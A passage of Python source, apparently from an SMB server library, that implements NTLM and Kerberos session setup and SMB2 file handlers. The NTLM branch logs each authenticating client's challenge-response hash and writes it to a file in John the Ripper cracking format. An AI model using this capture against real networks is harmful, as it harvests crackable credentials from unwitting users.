ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_REQUEST_TARGET\n\n            if smbServer._SMBSERVER__dropSSP:\n                ansFlags = (ntlm.NTLMSSP_DROP_SSP_STATIC | 0)\n            # Generate the AV_PAIRS\n            av_pairs = ntlm.AV_PAIRS()\n            # important for signing support, as NetrLogonSamLogonWithFlags checks these!\n            if \".\" in smbServer.getServerDomain():\n                av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = smbServer.getServerDomain().split(\".\")[0].upper().encode('utf-16le')\n                av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = smbServer.getServerDomain().encode('utf-16le')\n            else:\n                av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = smbServer.getServerDomain().upper().encode('utf-16le')\n\n            av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] = smbServer.getServerName().upper().encode('utf-16le')\n            av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack('<q', (\n                        116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))\n\n            challengeMessage = ntlm.NTLMAuthChallenge()\n            challengeMessage['flags'] = ansFlags\n            challengeMessage['domain_len'] = len(smbServer.getServerDomain().encode('utf-16le'))\n            challengeMessage['domain_max_len'] = challengeMessage['domain_len']\n            challengeMessage['domain_offset'] = 40 + 16\n            challengeMessage['challenge'] = smbServer.getSMBChallenge()\n            challengeMessage['domain_name'] = smbServer.getServerDomain().encode('utf-16le')\n            challengeMessage['TargetInfoFields_len'] = len(av_pairs)\n            challengeMessage['TargetInfoFields_max_len'] = len(av_pairs)\n            challengeMessage['TargetInfoFields'] = av_pairs\n            challengeMessage['TargetInfoFields_offset'] = 40 + 16 + len(challengeMessage['domain_name'])\n            challengeMessage['Version'] = b'\\xff' * 8\n            challengeMessage['VersionLen'] = 8\n\n            if rawNTLM is False:\n                respToken = SPNEGO_NegTokenResp()\n                # accept-incomplete. We want more data\n                respToken['NegState'] = b'\\x01'\n                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n\n                respToken['ResponseToken'] = challengeMessage.getData()\n            else:\n                respToken = challengeMessage\n\n            # Setting the packet to STATUS_MORE_PROCESSING\n            errorCode = STATUS_MORE_PROCESSING_REQUIRED\n            # Let's set up an UID for this connection and store it\n            # in the connection's data\n            # Picking a fixed value\n            # TODO: Manage more UIDs for the same session\n            connData['Uid'] = random.randint(1, 0xffffffff)\n            # Let's store it in the connection data\n            connData['CHALLENGE_MESSAGE'] = challengeMessage\n\n        elif messageType == 0x02:\n            # CHALLENGE_MESSAGE\n            raise Exception('Challenge Message raise, not implemented!')\n        elif messageType == 0x03:\n            # AUTHENTICATE_MESSAGE, here we deal with authentication\n            authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n            authenticateMessage.fromString(token)\n            smbServer.log(\"AUTHENTICATE_MESSAGE (%s\\\\%s,%s)\" % (\n                authenticateMessage['domain_name'].decode('utf-16le'),\n                authenticateMessage['user_name'].decode('utf-16le'),\n                authenticateMessage['host_name'].decode('utf-16le')))\n\n            isGuest = False\n            isAnonymus = False\n\n            computerAccountCredentials = smbServer.getComputerAccountCredentials()\n\n            if authenticateMessage['user_name'].decode('utf-16le') != \"\" and len(smbServer.getCredentials()) > 0:\n                # Do we have credentials which *need* to be checked?\n\n                identity = authenticateMessage['user_name'].decode('utf-16le').lower()\n                errorCode = STATUS_LOGON_FAILURE\n                # Do we have this user's credentials?\n                if identity in smbServer.getCredentials():\n                    # Process data:\n                    # Let's parse some data and keep it to ourselves in case it is asked\n                    uid, lmhash, nthash = smbServer.getCredentials()[identity]\n\n                    errorCode, sessionKey = computeNTLMv2(identity, lmhash, nthash, smbServer.getSMBChallenge(),\n                                                        authenticateMessage, connData['CHALLENGE_MESSAGE'],\n                                                        connData['NEGOTIATE_MESSAGE'])\n\n                    if sessionKey is not None:\n                        connData['SignatureEnabled'] = True\n                        connData['SigningSessionKey'] = sessionKey\n                        connData['SignSequenceNumber'] = 1\n            elif computerAccountCredentials[\"username\"] != \"\":\n                # is a computer account configured for NetLogon?\n\n                # Try to get the session key via NetLogon\n                netlogon = NetLogon(computerAccountCredentials[\"dcip\"], computerAccountCredentials[\"username\"], computerAccountCredentials[\"nthash\"], computerAccountCredentials[\"domain\"])\n                netlogon.setupConnection()\n                sessionKey, errorCode = netlogon.logonUserAndGetSessionKey(authenticateMessage, smbServer.getSMBChallenge())\n\n                connData['SignatureEnabled'] = True\n                connData['SigningSessionKey'] = sessionKey\n                connData['SignSequenceNumber'] = 1\n            else:\n                # no authentication material configured, just try an anonymous session\n                connData['SignatureEnabled'] = False\n                # No credentials provided, let's grant access\n                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_ANONYMOUS:\n                    isAnonymus = True\n                    if smbServer._SMBSERVER__anonymousLogon == False:\n                        errorCode = STATUS_ACCESS_DENIED\n                    else:\n                        errorCode = STATUS_SUCCESS\n                else:\n                    isGuest = True\n                    errorCode = STATUS_SUCCESS\n\n            if errorCode == STATUS_SUCCESS:\n                connData['Authenticated'] = True\n                respToken = SPNEGO_NegTokenResp()\n                # accept-completed\n                respToken['NegState'] = b'\\x00'\n                if rawNTLM: # raw NTLM does not expect a SPNEGO buffer\n                    respToken = smb2.Empty()\n                smbServer.log('User %s\\\\%s authenticated successfully' % (\n                    authenticateMessage['host_name'].decode('utf-16le'),\n                    authenticateMessage['user_name'].decode('utf-16le')))\n                # Let's store it in the connection data\n                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage\n                connData[\"user_domain_name\"] = authenticateMessage['domain_name'].decode('utf-16le') if authenticateMessage['domain_name'].decode('utf-16le') != \"\" else authenticateMessage['host_name'].decode('utf-16le')\n                connData[\"user_name\"] = authenticateMessage['user_name'].decode('utf-16le')\n                try:\n                    jtr_dump_path = smbServer.getJTRdumpPath()\n                    ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],\n                                                        authenticateMessage['user_name'],\n                                                        authenticateMessage['domain_name'],\n                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])\n                    smbServer.log(ntlm_hash_data['hash_string'])\n                    if jtr_dump_path != '':\n                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                            jtr_dump_path)\n                except:\n                    smbServer.log(\"Could not write NTLM Hashes to the specified JTR_Dump_Path %s\" % jtr_dump_path)\n\n                if isGuest:\n                    respSMBCommand['SessionFlags'] = 1\n                elif isAnonymus:\n                    respSMBCommand['SessionFlags'] = 2\n\n            else:\n                respToken = SPNEGO_NegTokenResp()\n                respToken['NegState'] = b'\\x02'\n                smbServer.log(\"Could not authenticate user!\")\n\n            if smbServer.auth_callback is not None:\n                try:\n                    smbServer.auth_callback(\n                        smbServer=smbServer,\n                        connData=connData,\n                        domain_name=authenticateMessage['domain_name'].decode('utf-16le'),\n                        user_name=authenticateMessage['user_name'].decode('utf-16le'),\n                        host_name=authenticateMessage['host_name'].decode('utf-16le')\n                    )\n                except Exception as e:\n                    print(\"[!] Could not call auth_callback: %s\" % e)\n\n        else:\n            raise Exception(\"Unknown NTLMSSP MessageType %d\" % messageType)\n        respSMBCommand['SecurityBufferOffset'] = 0x48\n        respSMBCommand['SecurityBufferLength'] = len(respToken)\n        respSMBCommand['Buffer'] = respToken.getData()\n        return respSMBCommand, errorCode\n\n    @staticmethod\n    def generic_negTokenResp():\n        accept = SPNEGO_NegTokenResp()\n        accept['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n        # request-mic\n        accept['NegState'] = b'\\x03'\n        acceptBytes = accept.getData()\n\n        respSMBCommand = smb2.SMB2SessionSetup_Response()\n        respSMBCommand['SecurityBufferOffset'] = 0x48\n        respSMBCommand['SecurityBufferLength'] = len(acceptBytes)\n        respSMBCommand['Buffer'] = acceptBytes\n        return respSMBCommand\n\n    @staticmethod\n    def smb2SessionSetup(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId, checkStatus=False)\n\n        sessionSetupData = smb2.SMB2SessionSetup(recvPacket['Data'])\n\n        connData['Capabilities'] = sessionSetupData['Capabilities']\n\n        securityBlob = sessionSetupData['Buffer']\n\n        rawNTLM = False\n        authType = None\n        if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:\n            # NEGOTIATE packet\n            blob = SPNEGO_NegTokenInit(securityBlob)\n            token = blob['MechToken']\n            if len(blob['MechTypes'][0]) > 0:\n                # Is this GSSAPI NTLM or something else we don't support?\n                authType = blob['MechTypes'][0]\n                supported_mechtypes = []\n                if smbServer.getKerberosSupport() and smbServer.getComputerAccountCredentials()[\"username\"]:\n                    # if computer account credentials are provided, we can also use kerberos\n                    supported_mechtypes += [TypesMech['MS KRB5 - Microsoft Kerberos 5'], TypesMech['KRB5 - Kerberos 5'], TypesMech['KRB5 - Kerberos 5 - User to User']]\n                if smbServer.getNTLMSupport():\n                    supported_mechtypes += [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n                if authType not in supported_mechtypes:\n                    # Nope, do we know it?\n                    if authType in MechTypes:\n                        mechStr = MechTypes[authType]\n                    else:\n                        mechStr = hexlify(authType)\n                    smbServer.log(\"Unsupported MechType '%s'\" % mechStr, logging.DEBUG, connData=connData)\n\n                    return [SMB2Commands.generic_negTokenResp()], None, STATUS_MORE_PROCESSING_REQUIRED\n        elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:\n            # AUTH packet\n            blob = SPNEGO_NegTokenResp(securityBlob)\n            token = blob['ResponseToken']\n            if b'NTLMSSP\\x00' in token and smbServer.getNTLMSupport():\n                authType = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n            elif smbServer.getKerberosSupport():\n                authType = TypesMech['MS KRB5 - Microsoft Kerberos 5']\n            else:\n                return [SMB2Commands.generic_negTokenResp()], None, STATUS_MORE_PROCESSING_REQUIRED\n        elif securityBlob.startswith(b'NTLMSSP\\x00') and smbServer.getNTLMSupport():\n            # No GSSAPI stuff, raw NTLMSSP\n            rawNTLM = True\n            token = securityBlob\n            authType = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n        else:\n            smbServer.log(\"Unknown or unsupported security blob type\", logging.ERROR, connData=connData)\n            return [SMB2Commands.generic_negTokenResp()], None, STATUS_MORE_PROCESSING_REQUIRED\n        \n        if authType in [TypesMech['MS KRB5 - Microsoft Kerberos 5'], TypesMech['KRB5 - Kerberos 5'], TypesMech['KRB5 - Kerberos 5 - User to User']]:\n            respSMBCommand, errorCode = SMB2Commands._kerberos_auth(token, connData, smbServer)\n        elif authType == TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:\n            respSMBCommand, errorCode = SMB2Commands._ntlm_auth(token, connData, smbServer, rawNTLM)\n\n        # From now on, the client can ask for other commands\n        connData['Authenticated'] = True\n        # For now, just switching to nobody\n        # os.setregid(65534,65534)\n        # os.setreuid(65534,65534)\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2TreeConnect(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respPacket = smb2.SMB2Packet()\n        respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR\n        respPacket['Status'] = STATUS_SUCCESS\n        respPacket['CreditRequestResponse'] = 1\n        respPacket['Command'] = recvPacket['Command']\n        respPacket['SessionID'] = connData['Uid']\n        respPacket['Reserved'] = recvPacket['Reserved']\n        respPacket['MessageID'] = recvPacket['MessageID']\n        respPacket['TreeID'] = recvPacket['TreeID']\n\n        respSMBCommand = smb2.SMB2TreeConnect_Response()\n\n        treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])\n\n        errorCode = STATUS_SUCCESS\n\n        ## Process here the request, does the share exist?\n        path = recvPacket.getData()[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]\n        UNCOrShare = path.decode('utf-16le')\n        smbServer.log(\"smb2TreeConnect: %s\" % UNCOrShare, logging.INFO, connData=connData)\n\n        # Is this a UNC?\n        if ntpath.ismount(UNCOrShare):\n            path = UNCOrShare.split('\\\\')[3]\n        else:\n            path = ntpath.basename(UNCOrShare)\n\n        share = searchShare(connId, path.upper(), smbServer)\n        if share is not None:\n            # Simple way to generate a Tid\n            if len(connData['ConnectedShares']) == 0:\n                tid = 1\n            else:\n                tid = list(connData['ConnectedShares'].keys())[-1] + 1\n            connData['ConnectedShares'][tid] = share\n            connData['ConnectedShares'][tid]['shareName'] = path\n            respPacket['TreeID'] = tid\n            smbServer.log(\"Connecting Share(%d:%s)\" % (tid, path), connData=connData)\n        else:\n            smbServer.log(\"SMB2_TREE_CONNECT not found %s\" % path, logging.ERROR, connData=connData)\n            errorCode = STATUS_OBJECT_PATH_NOT_FOUND\n            respPacket['Status'] = errorCode\n        ##\n\n        if path.upper() == 'IPC$':\n            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE\n            respSMBCommand['ShareFlags'] = 0x30\n        else:\n            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK\n            respSMBCommand['ShareFlags'] = 0x0\n\n        respSMBCommand['Capabilities'] = 0\n        respSMBCommand['MaximalAccess'] = 0x000f01ff\n\n        respPacket['Data'] = respSMBCommand\n\n        # Sign the packet if needed\n        if connData['SignatureEnabled']:\n            smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])\n        smbServer.setConnectionData(connId, connData)\n\n        return None, [respPacket], errorCode\n\n    @staticmethod\n    def smb2Create(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2Create_Response()\n\n        ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])\n\n        respSMBCommand['Buffer'] = b'\\x00'\n        # Get the Tid associated\n        if recvPacket['TreeID'] in connData['ConnectedShares']:\n            readOnly = connData['ConnectedShares'][recvPacket['TreeID']][\"read only\"] == \"yes\"\n            # If we have a rootFid, the path is relative to that fid\n            errorCode = STATUS_SUCCESS\n            if 'path' in connData['ConnectedShares'][recvPacket['TreeID']]:\n                path = connData['ConnectedShares'][recvPacket['TreeID']]['path']\n            else:\n                path = 'NONE'\n                errorCode = STATUS_ACCESS_DENIED\n\n            deleteOnClose = False\n\n            fileName = normalize_path(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le'))\n            smbServer.log(\"smb2Create: %s\" % fileName, logging.INFO, connData=connData)\n\n            if not isInFileJail(path, fileName):\n                LOG.error(\"Path not in current working directory\")\n                return [smb2.SMB2Error()], None, STATUS_OBJECT_PATH_SYNTAX_BAD\n\n            pathName = os.path.join(path, fileName)\n            createDisposition = ntCreateRequest['CreateDisposition']\n            mode = 0\n\n            if createDisposition == smb2.FILE_SUPERSEDE:\n                mode |= os.O_TRUNC | os.O_CREAT\n            elif createDisposition & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:\n                mode |= os.O_TRUNC | os.O_CREAT\n            elif createDisposition & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:\n                if os.path.exists(pathName) is True:\n                    mode |= os.O_TRUNC\n                else:\n                    errorCode = STATUS_NO_SUCH_FILE\n            elif createDisposition & smb2.FILE_OPEN_IF == smb2.FILE_OPEN_IF:\n                mode |= os.O_CREAT\n            elif createDisposition & smb2.FILE_CREATE == smb2.FILE_CREATE:\n                if os.path.exists(pathName) is True:\n                    errorCode = STATUS_OBJECT_NAME_COLLISION\n                else:\n                    mode |= os.O_CREAT\n            elif createDisposition & smb2.FILE_OPEN == smb2.FILE_OPEN:\n                if os.path.exists(pathName) is not True and (\n                        str(pathName) in smbServer.getRegisteredNamedPipes()) is not True:\n                    errorCode = STATUS_NO_SUCH_FILE\n\n            if errorCode == STATUS_SUCCESS:\n                desiredAccess = ntCreateRequest['DesiredAccess']\n                if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):\n                    mode |= os.O_RDONLY\n                if (desiredAccess & smb2.FILE_WRITE_DATA) or (desiredAccess & smb2.GENERIC_WRITE):\n                    if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):\n                        mode |= os.O_RDWR  # | os.O_APPEND\n                    else:\n                        mode |= os.O_WRONLY  # | os.O_APPEND\n                if desiredAccess & smb2.GENERIC_ALL:\n                    mode |= os.O_RDWR  # | os.O_APPEND\n\n                createOptions = ntCreateRequest['CreateOptions']\n                if mode & os.O_CREAT == os.O_CREAT:\n                    if createOptions & smb2.FILE_DIRECTORY_FILE == smb2.FILE_DIRECTORY_FILE and not readOnly:\n                        try:\n                            # Let's create the directory\n                            os.mkdir(pathName)\n                            mode = os.O_RDONLY\n                        except Exception as e:\n                            smbServer.log(\"SMB2_CREATE: %s,%s,%s\" % (pathName, mode, e), logging.ERROR, connData=connData)\n                            errorCode = STATUS_ACCESS_DENIED\n                    elif readOnly:\n                        errorCode = STATUS_ACCESS_DENIED\n                if createOptions & smb2.FILE_NON_DIRECTORY_FILE == smb2.FILE_NON_DIRECTORY_FILE:\n                    # If the file being opened is a directory, the server MUST fail the request with\n                    # STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server\n                    # response.\n                    if os.path.isdir(pathName) is True:\n                        errorCode = STATUS_FILE_IS_A_DIRECTORY\n\n                if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:\n                    deleteOnClose = True\n\n                if errorCode == STATUS_SUCCESS:\n                    try:\n                        if os.path.isdir(pathName) and sys.platform == 'win32':\n                            fid = VOID_FILE_DESCRIPTOR\n                        else:\n                            if sys.platform == 'win32':\n                                mode |= os.O_BINARY\n                            if ensure_str(pathName) in smbServer.getRegisteredNamedPipes():\n                                fid = PIPE_FILE_DESCRIPTOR\n                                sock = socket.socket()\n                                sock.connect(smbServer.getRegisteredNamedPipes()[ensure_str(pathName)])\n                            else:\n                                if readOnly:\n                                    mode = os.O_RDONLY\n                                fid = os.open(pathName, mode)\n                    except Exception as e:\n                        smbServer.log(\"SMB2_CREATE: %s,%s,%s\" % (pathName, mode, e), logging.ERROR, connData=connData)\n                        # print e\n                        fid = 0\n                        errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode == STATUS_SUCCESS:\n            # Simple way to generate a fid\n            fakefid = uuid.generate()\n\n            respSMBCommand['FileID'] = fakefid\n            respSMBCommand['CreateAction'] = createDisposition\n\n            if fid == PIPE_FILE_DESCRIPTOR:\n                respSMBCommand['CreationTime'] = 0\n                respSMBCommand['LastAccessTime'] = 0\n                respSMBCommand['LastWriteTime'] = 0\n                respSMBCommand['ChangeTime'] = 0\n                respSMBCommand['AllocationSize'] = 4096\n                respSMBCommand['EndOfFile'] = 0\n                respSMBCommand['FileAttributes'] = 0x80\n\n            else:\n                if os.path.isdir(pathName):\n                    respSMBCommand['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY\n                else:\n                    respSMBCommand['FileAttributes'] = ntCreateRequest['FileAttributes']\n                # Let's get this file's information\n                respInfo, errorCode = queryPathInformation(path, fileName, level=smb.SMB_QUERY_FILE_ALL_INFO)\n                if errorCode == STATUS_SUCCESS:\n                    respSMBCommand['CreationTime'] = respInfo['CreationTime']\n                    respSMBCommand['LastAccessTime'] = respInfo['LastAccessTime']\n                    respSMBCommand['LastWriteTime'] = respInfo['LastWriteTime']\n                    respSMBCommand['LastChangeTime'] = respInfo['LastChangeTime']\n                    respSMBCommand['FileAttributes'] = respInfo['ExtFileAttributes']\n                    respSMBCommand['AllocationSize'] = respInfo['AllocationSize']\n                    respSMBCommand['EndOfFile'] = respInfo['EndOfFile']\n\n            if errorCode == STATUS_SUCCESS:\n                # Let's store the fid for the connection\n                # smbServer.log('Create file %s, mode:0x%x' % (pathName, mode), connData=connData)\n                connData['OpenedFiles'][fakefid] = {}\n                connData['OpenedFiles'][fakefid]['FileHandle'] = fid\n                connData['OpenedFiles'][fakefid]['FileName'] = pathName\n                connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose\n                connData['OpenedFiles'][fakefid]['Open'] = {}\n                connData['OpenedFiles'][fakefid]['Open']['EnumerationLocation'] = 0\n                connData['OpenedFiles'][fakefid]['Open']['EnumerationSearchPattern'] = ''\n                if fid == PIPE_FILE_DESCRIPTOR:\n                    connData['OpenedFiles'][fakefid]['Socket'] = sock\n        else:\n            respSMBCommand = smb2.SMB2Error()\n\n        if errorCode == STATUS_SUCCESS:\n            connData['LastRequest']['SMB2_CREATE'] = respSMBCommand\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2Close(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2Close_Response()\n\n        closeRequest = smb2.SMB2Close(recvPacket['Data'])\n\n        if closeRequest['FileID'].getData() == b'\\xff' * 16:\n            # Let's take the data from the lastRequest\n            if 'SMB2_CREATE' in connData['LastRequest']:\n                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']\n            else:\n                fileID = closeRequest['FileID'].getData()\n        else:\n            fileID = closeRequest['FileID'].getData()\n\n        # Get the Tid associated\n        if recvPacket['TreeID'] in connData['ConnectedShares']:\n            readOnly = connData['ConnectedShares'][recvPacket['TreeID']][\"read only\"] == \"yes\"\n            if fileID in connData['OpenedFiles']:\n                errorCode = STATUS_SUCCESS\n                fileHandle = connData['OpenedFiles'][fileID]['FileHandle']\n                pathName = connData['OpenedFiles'][fileID]['FileName']\n                smbServer.log(\"smb2Close: %s\" % pathName, logging.INFO, connData=connData)\n                infoRecord = None\n                try:\n                    if fileHandle == PIPE_FILE_DESCRIPTOR:\n                        connData['OpenedFiles'][fileID]['Socket'].close()\n                    elif fileHandle != VOID_FILE_DESCRIPTOR:\n                        os.close(fileHandle)\n                        infoRecord, errorCode = queryFileInformation(os.path.dirname(pathName), os.path.basename(pathName),\n                                                                     smb2.SMB2_FILE_NETWORK_OPEN_INFO)\n                except Exception as e:\n                    smbServer.log(\"SMB2_CLOSE %s\" % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_INVALID_HANDLE\n                else:\n                    # Check if the file was marked for removal\n                    if connData['OpenedFiles'][fileID]['DeleteOnClose'] is True:\n                        if readOnly:\n                            errorCode = STATUS_ACCESS_DENIED\n                        else:\n                            try:\n                                if os.path.isdir(pathName):\n                                    shutil.rmtree(connData['OpenedFiles'][fileID]['FileName'])\n                                else:\n                                    os.remove(connData['OpenedFiles'][fileID]['FileName'])\n                            except Exception as e:\n                                smbServer.log(\"SMB2_CLOSE %s\" % e, logging.ERROR, connData=connData)\n                                errorCode = STATUS_ACCESS_DENIED\n\n                    # Now fill out the response\n                    if infoRecord is not None:\n                        respSMBCommand['CreationTime'] = infoRecord['CreationTime']\n                        respSMBCommand['LastAccessTime'] = infoRecord['LastAccessTime']\n                        respSMBCommand['LastWriteTime'] = infoRecord['LastWriteTime']\n                        respSMBCommand['ChangeTime'] = infoRecord['ChangeTime']\n                        respSMBCommand['AllocationSize'] = infoRecord['AllocationSize']\n                        respSMBCommand['EndofFile'] = infoRecord['EndOfFile']\n                        respSMBCommand['FileAttributes'] = infoRecord['FileAttributes']\n                    if errorCode == STATUS_SUCCESS:\n                        del (connData['OpenedFiles'][fileID])\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2QueryInfo(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2QueryInfo_Response()\n\n        queryInfo = smb2.SMB2QueryInfo(recvPacket['Data'])\n\n        errorCode = STATUS_SUCCESS\n\n        respSMBCommand['OutputBufferOffset'] = 0x48\n        respSMBCommand['Buffer'] = b'\\x00'\n\n        if queryInfo['FileID'].getData() == b'\\xff' * 16:\n            # Let's take the data from the lastRequest\n            if 'SMB2_CREATE' in connData['LastRequest']:\n                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']\n            else:\n                fileID = queryInfo['FileID'].getData()\n        else:\n            fileID = queryInfo['FileID'].getData()\n\n        # Get the Tid associated\n        if recvPacket['TreeID'] in connData['ConnectedShares']:\n            if fileID in connData['OpenedFiles']:\n                fileName = connData['OpenedFiles'][fileID]['FileName']\n                smbServer.log(\"smb2QueryInfo: %s\" % fileName, logging.INFO, connData=connData)\n\n                if queryInfo['InfoType'] == smb2.SMB2_0_INFO_FILE:\n                    if queryInfo['FileInfoClass'] == smb2.SMB2_FILE_INTERNAL_INFO:\n                        # No need to call queryFileInformation, we have the data here\n                        infoRecord = smb2.FILE_INTERNAL_INFORMATION()\n                        infoRecord['IndexNumber'] = fileID\n                    else:\n                        infoRecord, errorCode = queryFileInformation(os.path.dirname(fileName),\n                                                                     os.path.basename(fileName),\n                                                                     queryInfo['FileInfoClass'])\n                elif queryInfo['InfoType'] == smb2.SMB2_0_INFO_FILESYSTEM:\n                    if queryInfo['FileInfoClass'] == smb2.SMB2_FILE_EA_INFO:\n                        infoRecord = b'\\x00' * 4\n                    else:\n                        infoRecord = queryFsInformation(os.path.dirname(fileName), os.path.basename(fileName),\n                                                        queryInfo['FileInfoClass'])\n                elif queryInfo['InfoType'] == smb2.SMB2_0_INFO_SECURITY:\n                    # Failing for now, until we support it\n                    infoRecord = None\n                    errorCode = STATUS_ACCESS_DENIED\n                else:\n                    smbServer.log(\"queryInfo not supported (%x)\" % queryInfo['InfoType'], logging.ERROR, connData=connData)\n\n                if infoRecord is not None:\n                    respSMBCommand['OutputBufferLength'] = len(infoRecord)\n                    respSMBCommand['Buffer'] = infoRecord\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smb2SetInfo(connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2SetInfo_Response()\n\n        setInfo = smb2.SMB2SetInfo(recvPacket['Data'])\n\n        errorCode = STATUS_SUCCESS\n\n        if setInfo['FileID'].getData() == b'\\xff' * 16:\n            # Let's take the data from the lastRequest\n            if 'SMB2_CREATE' in connData['LastRequest']:\n                fileID = connData['LastRequest']['SMB2_CREATE']['FileID']\n            else:\n                fileID = setInfo['FileID'].getData()\n        else:\n            fileID = setInfo['FileID'].getData()\n\n        # Get the Tid associated\n        if recvPacket['TreeID'] in connData['ConnectedShares']:\n            path = connData['ConnectedShares'][recvPacket['TreeID']]['path']\n            readOnly = connData['ConnectedShares'][recvPacket['TreeID']][\"read only\"] == \"yes\"\n            if fileID in connData['OpenedFiles']:\n                pathName = connData['OpenedFiles'][fileID]['FileName']\n                smbServer.log(\"smb2SetInfo: %s\" % pathName, logging.INFO, connData=connData)\n\n                if setInfo['InfoType'] == smb2.SMB2_0_INFO_FILE:\n                    # The file information is being set\n                    informationLevel = setInfo['FileInfoClass']\n                    if informationLevel == smb2.SMB2_FILE_DISPOSITION_INFO:\n                        infoRecord = smb.SMBSetFileDispositionInfo(setInfo['Buffer'])\n                        if infoRecord['DeletePending'] > 0:\n                            if os.path.isdir(pathName) and os.listdir(pathName):\n                                errorCode = STATUS_DIRECTORY_NOT_EMPTY\n                            else:\n                                # Mark this file for removal after closed\n                                connData['OpenedFiles'][fileID]['DeleteOnClose'] = True\n                    elif informationLevel == smb2.SMB2_FILE_BASIC_INFO:\n                        infoRecord = smb.SMBSetFileBasicInfo(setInfo['Buffer'])\n                        # Creation time won't be set,  the other ones we play with.\n                        atime = infoRecord['LastWriteTime']\n                        if atime == 0:\n                            atime = -1\n                        else:\n                            atime = smb.FTtoPOSIX(atime)\n                        mtime = infoRecord['ChangeTime']\n                        if mtime == 0:\n                            mtime = -1\n                        else:\n                            mtime = smb.FTtoPOSIX(mtime)\n                        if atime > 0 and mtime > 0:\n                            os.utime(pathName, (atime, mtime))\n                    elif informationLevel == smb2.SMB2_FILE_END_OF_FILE_INFO:\n                        fileHandle = connData['OpenedFiles'][fileID]['FileHandle']\n                        infoRecord = smb.SMBSetFileEndOfFileInfo(setInfo['Buffer'])\n                        if infoRecord['EndOfFile'] > 0:\n                            os.lseek(fileHandle, infoRecord['EndOfFile'] - 1, 0)\n                            os.write(fileHandle, b'\\x00')\n                    elif informationLevel == smb2.SMB2_FILE_RENAME_INFO:\n                        renameInfo = smb2.FILE_RENAME_INFORMATION_TYPE_2(setInfo['Buffer'])\n                        newFileName = normalize_path(renameInfo['FileName'].decode('utf-16le'))\n                        newPathName = os.path.join(path, newFileName)\n                        if not isInFileJail(path, newFileName):\n                            smbServer.log(\"Path not in current working directory\", logging.ERROR, connData=connData)\n                            return [smb2.SMB2Error()], None, STATUS_OBJECT_PATH_SYNTAX_BAD\n\n                        if renameInfo['ReplaceIfExists'] == 0 and os.path.exists(newPathName):\n                            return [smb2.SMB2Error()], None, STATUS_OBJECT_NAME_COLLISION\n                        if readOnly:\n                            errorCode = STATUS_ACCESS_DENIED\n                        else:\n                            try:\n                                os.rename(pathName, newPathName)\n                                connData['OpenedFiles'][fileID]['FileName'] = newPathName\n                            except Exception as e:\n                                